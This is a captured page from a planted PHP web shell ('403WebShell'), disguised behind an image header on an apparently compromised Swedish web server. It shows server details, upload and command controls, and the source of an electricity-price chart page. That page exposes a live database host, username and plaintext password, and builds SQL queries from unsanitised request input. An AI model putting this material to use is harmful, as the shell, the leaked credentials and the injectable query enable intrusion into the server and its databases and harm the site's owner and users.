????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/appsrv.astacus.se/energicontrol/skanninge/powerprice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/appsrv.astacus.se/energicontrol/skanninge/powerprice/index.php
<?php





?>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>


<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="js/package/dist/utils.js"></script>
	
		<style>
		
		
	
		table, th, td {
    font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', 'Helvetica', 'Arial', 'sans-serif';
			font-size: 8px;
  border-collapse: collapse;
}
	</style>
	
	
</head>

<body>
<center>
</center>

  <canvas id="myChart" width="100%"></canvas>

	
	
<?php
		$d = $_GET['day'];
		$day_from = -1 + $d ;
		$day_to = $day_from+1;
	
		$from = date("Y-m-d 00:00:00", strtotime("$day_from days"));
		$to = date("Y-m-d 00:00:00", strtotime("$day_to days,"));
  	
		$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");
        $sql = "SELECT * FROM tblNordpool WHERE startTime >= '".$from."' and startTime <= '".$to."' and area = 'SE3' order by startTime";
	
        $result = $mysqli->query($sql);
		$price_arr = array();
        $medel_spotpris = 0;
		while($obj = $result->fetch_object()){  
		 	$price_arr[] = array($obj->startTime,($obj->value/1000));
            $medel_spotpris += ($obj->value/1000);
		}
        $medel_spotpris = $medel_spotpris/24;
	
		$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ostenssons_skanninge");
	    $sql = "SELECT * FROM TIBBER WHERE Timestamp >= '".$from."' and Timestamp <= '".$to."' and Timestamp LIKE '%00:00' order by Timestamp";
	
        $result = $mysqli->query($sql);
		$power_arr = array();	 
		while($obj = $result->fetch_object()){  
		 	$power_arr[] = array($obj->Timestamp,$obj->powertotal);
		}
	
    
        $flytta = $_GET['movekw'];

	
		$json_labels_t = "[";
		foreach ($price_arr as &$value) {
			$json_labels_t = $json_labels_t . "'". $value[0] ."',";
		}
		$json_labels_t = $json_labels_t . "]";
	
		$json_data_t = "data : [";	
		$x=0;
		$total_effekt =0;
		foreach ($power_arr as &$value) {
			if($x!=0){
			     if($x < 6 ){
					$power = $power -   $flytta;
				}
                
                 if($x > 6 && $x < 12 ){
					$power = $power + $flytta;
				}
                
                   if($x > 16 && $x < 20 ){
					$power = $power + $flytta;
				}
                
                    if($x > 20 && $x < 24 ){
					$power = $power - $flytta;
				}
                
                
                
                
				$json_data_t = $json_data_t . ($value[1]-$power ) .",";
				$total_effekt += ($value[1]-$power);
			}else{
				$power = $value[1];
			}
			$power = $value[1];
			$x++;
		}
		$json_data_t = $json_data_t . "]";
	
		$json_data_t2 = "data : [";	
		$x=0;

		foreach ($price_arr as &$value) {
		
				$json_data_t2 = $json_data_t2 . ($value[1] ) .",";
			
		
			$x++;
		}
		$json_data_t2 = $json_data_t2 . "]";
  
		
		$json_data_t3 = "data : [";	
		$x=0;
		$total_kostnad = 0;	
		foreach ($power_arr as &$value) {
			if($x!=0){
				  if($x < 6 ){
					$power = $power - $flytta;
				}
                
                 if($x > 6 && $x < 12 ){
					$power = $power + $flytta;
				}
                
                       if($x > 16 && $x < 20 ){
					$power = $power + $flytta;
				}
                
                    if($x > 20 && $x < 24 ){
					$power = $power - $flytta;
				}
                
				$kostnad = (($value[1]-$power )*$price_arr[$x][1]);
				$total_kostnad += $kostnad;
				$json_data_t3 = $json_data_t3 . $kostnad .",";
			}else{
				$power = $value[1];
			}
			$power = $value[1];
			$x++;
		}
		$json_data_t3 = $json_data_t3 . "]";
	
	
     
          
echo("<center><br>FRÅN: ".$from ." Total kostnad: ".round($total_kostnad,2)." kr");
echo("<center><br>Total effekt: ".round($total_effekt,2)." kWh");
echo("<center><br>Medelspotpris: ".round($medel_spotpris,3)." kr");
echo("<center><br>Förbrukningsbaserat medelspotpris : ".round(($total_kostnad/$total_effekt),3)." kr");
	$besparing = $medel_spotpris * $total_effekt - ($total_kostnad/$total_effekt)* $total_effekt;
echo("<center><br><br>BESPARING : ".round($besparing,3)." kr" ." (".round(100*($besparing/$total_kostnad),2)."%)");

  
	?>	
<script>

	


const labels = <?php echo($json_labels_t);?>;
const data = {
  labels: labels,
  datasets: [
     {
      label: 'EFFEKT',
        <?php echo($json_data_t);?>,
	      borderColor: '#FF0000',
      	  backgroundColor: '#FF0000',
		 stepped: true,
		fill: false,
		    beginAtZero: true,
        yAxisID: 'y1'
    },
	  {
      label: 'PRIS',
        <?php echo($json_data_t2);?>,
	      borderColor: '#00FF00',
      	  backgroundColor: '#00FF00',
		 stepped: true,
		fill: false,
		     beginAtZero: true,
        yAxisID: 'y2'
    },
	  {
      label: 'KOSTNAD',
        <?php echo($json_data_t3);?>,
	      borderColor: '#FF00FF',
      	  backgroundColor: '#FF00FF',
		 stepped: true,
		fill: false,
		     beginAtZero: true,
        yAxisID: 'y3'
    }
  ]
};
	
	
	
	
const config = {
	  maintainAspectRatio: true,
  type: 'line',
  data: data,
  options: {
    responsive: true,
    plugins: {
      title: {
        display: true,
        text: 'Östenssons Skänninge',
      },
    },
    scales: {
      y1: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 2,
		     beginAtZero: true
      },
	y2: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 2,
		   beginAtZero: true
      }, y3: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 2,
		     beginAtZero: true
      }
    }
  },
};
		
  const myChart = new Chart(
    document.getElementById('myChart'),
    config
  );
	
</script>

</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit